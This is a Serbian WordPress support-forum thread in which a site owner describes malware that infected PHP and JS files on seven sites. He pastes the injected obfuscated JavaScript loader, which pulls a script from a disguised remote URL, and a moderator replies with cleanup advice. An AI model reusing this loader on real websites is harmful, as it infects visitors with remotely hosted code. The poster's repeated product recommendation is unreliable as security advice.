Напад вируса на WP .php i .js fajlove

  • predrage

    (@predrage)


    15 years, 2 months раније

    Вирус је додавао следеће линије у све .php i .js
    Решење сам пронашао ОВДЕ
    Морао сам ручно да чистим све преко Notepad++ Oboreno mi je 7 sajtova. Pakao!

    script>/*GNU GPL*/ try{window.onload = function(){var D6rxya3l44pnunx = document.createElement('script');D6rxya3l44pnunx.setAttribute('type', 'text/javascript');D6rxya3l44pnunx.setAttribute('id', 'myscript1');D6rxya3l44pnunx.setAttribute('src', 'h#$t(&$!t(!p(:&)/#&/(g#(@o$#@o#g(l^&^$$e!(-&c#!(o!m@-$&^d^@!o!((@).(^i!#()n)!s##!i@!(^g#h&)@&t#e&#x#&)^p#)r&!$e&^!s###&s$!a!))i@(#).!#c@$o$@!m(.($$d&^)t#)$)(i@$(b@!^#l&&$o&!g!@-&(^#c#(&o##&m$!)#.#g#!^r#!e)$^#a^@#)t)$(^s)()a)l^$e)c^!&e#!^n$)t(#e^r$$&).)(!$$r^@u):(&^8@)0$@)8$0$)/!##g&!(s@#m#a@r$(e)^n!@a@.#)c@o)^m##^/&#@g^$s@)#$m^#a$&r&!&e(&$n(&^a!)#^.&c)o@#&m(/#$#$m@($!&e$!#t&^!r)!^@o)$l##y&#(r!^^i@#@!c(s$)^$).$!(c(o^^&#m)!^$/)!&q)@$i!&&d&^(#)i^a^&@n#.!^@c($$o#@@m$!/(^g^o!&^(o!&(^@g()l^#&e((!!.@!c&$)o))(#^m#/$'.replace(/\$|\^|\)|&|\(|\!|#|@/ig, ''));D6rxya3l44pnunx.setAttribute('defer', 'defer');document.body.appendChild(D6rxya3l44pnunx);}} catch(e) {}</script>

Посматрање 3 одговора - 1 до 3 (од укупно 3)
  • Thread Starter predrage

    (@predrage)

    15 years, 2 months раније

    Интересује ме да ли је још неко имао овакав проблем.Уколико јесте, да ли зна како је навукао вирус- где је погрешио у заштити.

    Инсталирао сам TotalComander UltimaPrime који омогућује дуплу енкрипцију шифре и SpayB&Destroy. Иначе користим Aviru-free..

    Thread Starter predrage

    (@predrage)

    15 years, 2 months раније

    Након што сам постовао ово пронашао сам и лакше решење за чишћење:
    Неко је написао скрипту која чисти трагове овог вируса

    Зарази се FTP и тако настрадају сви сајтови. Зато још једном препоручујем TotalComander UltimaPrime који омогућује дуплу енкрипцију шифре

    Уредник Milan Dinić

    (@dimadin)

    15 years, 2 months раније

    Прво, ниси морао да пишеш три поруке за редом, могао си прве две заједно.

    Друго, ти причаш како си је то теби направило проблем а и ти си нама овде направио проблем. Оставио си тај кôд а да га ниси означио као кôд (једноставно га обележавајући и притиском на дугме code) тако да није могао да се отвори ни RSS довод ни ова страница. Морао сам да петљам по страницама за управљање и да сам искључим антивирус да бих исправљао поруку.

    Што се тиче твог проблема, он може бити изазван и тиме да постоји проблем са твојим сервером. Није редак случај да неко са стране приступи серверу и свим корисницима измења датотеке. Може да буде и ово што ти причаш а можда је неко на неки други начин провалио на твој налог и извршио измене.

    Једна ствар коју си могао одмах да пробаш са Вордпресом је реинсталација пошто би она изменила макар основе датотеке Вордпреса.

Посматрање 3 одговора - 1 до 3 (од укупно 3)
  • Тема „Напад вируса на WP .php i .js fajlove„ је закључана за нове одговоре.

Ознаке